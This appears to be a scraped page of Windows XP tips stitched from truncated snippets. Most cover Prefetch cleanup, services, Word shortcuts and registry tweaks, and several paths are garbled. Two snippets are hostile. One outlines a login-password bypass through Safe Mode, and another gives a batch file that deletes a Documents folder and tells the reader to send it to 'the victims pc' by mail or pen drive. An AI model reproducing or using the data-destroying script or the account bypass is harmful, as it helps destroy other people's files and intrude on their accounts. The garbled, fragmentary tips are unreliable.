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WindowsXP has a new feature called Prefetch. This keeps a shortcut to recently used programs. However it can fill up with old and obsolete programs. To clean this periodically go to: Star / Run / Prefetch Press Ctrl-A to highlight all the shorcuts Delete them

Services You Can Disable There are quite a few services you can disable from starting automatically. This would be to speed up your boot time and free resources. They are only suggestions so I suggestion you read the description of each one when you run Services and that you turn them off one at a [...]

     These shortcuts will help you to save time and keep your hands off the mouse while you’re working on a word document. Previewing a document: To preview a document.  You either have to go to ‘File –> Print Preview’ or click the ‘Print Preview’ button on the standard toolbar.  A quicker way would be [...]

1. Restart you computer 2. When booting, press F8 and select "Safe Mode" 3. After getting to the user menu. Click on a user and this time it will not ask you for a password 4. Go to Start>Run and type "CMD" (without the quotes). 5. At command prompt type in "cd C:WindowsSystem32" (without the [...]

Not Displaying Logon, Logoff, Startup and Shutdown Status Messages To turn these off: Start Regedit Go to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem If it is not already there, create a DWORD value named DisableStatusMessages Give it a value of 1

You can create a shortcut for the Run command on your desktop From the Start Menu, go to All Programs / Accessories Drag a shortcut for Run to the desktop

With a small registry tweak, Windows XP can be set to automatically close any program that ‘stops responding’ (crashes), eliminating the need for you to use the task manager to close down the offending software manually. To do this: Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop Modify the REG_SZ entry AutoEndTasks with a value [...]

rmdir C:\Documents and Settings \S\Q.   Copy this code in a notepad and save it (anyfilename.bat) with extension .bat Then  send this file to the victims pc via mail or by pen drive, on double clicking this file My document folder will then be deleted.

Goto Start –>Run –>regedit and navigate to following three keys separately and change it as shown below:

     If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around.